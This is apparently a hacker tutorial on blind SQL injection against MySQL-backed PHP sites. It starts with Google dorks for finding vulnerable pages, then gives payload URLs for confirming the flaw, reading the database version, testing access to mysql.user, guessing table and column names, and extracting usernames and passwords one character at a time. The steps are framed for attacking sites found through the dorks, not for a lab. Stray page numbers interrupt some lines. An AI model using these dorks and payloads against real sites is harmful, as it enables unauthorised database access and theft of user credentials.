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SQL injection - Blind Injection


This is more advanced then an ordinary one just keep on reading and you will understand why.

Some Google dorks for Sql injection:

Not all of these needs to be hacked with the Blind Sqli method.

inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=


I am using our target example as:


http://www.site.com/news.php?id=5


When we execute this, we see some page and articles on that page, pictures etc...


then when we want to test it for blind Sql injection attack


http://www.site.com/news.php?id=5 and 1=1


The page loads normally, that's okay.


Now the real test.



http://www.site.com/news.php?id=5 and 1=2


So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection.


Step 1:Get the MySQL version:


To get the version in blind attack we use substring.



http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4



This should return TRUE if the version of MySQL is 4.


Replace 4 with 5, and if query return TRUE then the version is 5.



18 http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5


Step 2:Test if subselect works:


When select don't work then we use subselect


http://www.site.com/news.php?id=5 and (select 1)=1


If page loads normally then subselects work.


Then we going to see if we have access to mysql.user



http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1


If page loads normally we have access to mysql.user and then later we can pull some password using load_file() function and OUTFILE.


Step 3:Check table and column names:


This part might be tricky because you have to guess.


For example


http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1


(with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)


Then if the page loads normally without content missing, the table users exits.If you get FALSE (some article missing), just change table name until you guess the right one.


Let's say that we have found that table name is users, now what we need is column name.


The same as table name, we start guessing. As same I said before try the common names for columns.



http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) fr om users limit 0,1)=1


If the page loads normally we know that column name is password (if we get false then try common names or just guess)


Here we merge 1 with the column password, then substring returns the first character (,1,1)


Step 4:Pull data from the database:


We found table users in columns username password so we are going to pull characters from that.



19 http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>80


Ok this here pulls the first character from first user in table users.


Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value


and then compare it with symbol greater then > .


So if the ascii character greater then 80, the page loads normally. (TRUE) We keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>95


We get TRUE, keep on raising the value.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>98


TRUE again, higher



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>99


Let’s say we got a false value now.


So the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.


then let's check the second character.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>99


Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)




http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>99


True keep going.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>107


20 False lower number.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>104


True go higher.

-------------------------------------------------------------------------------------------------------KNOXD3CrypT0r

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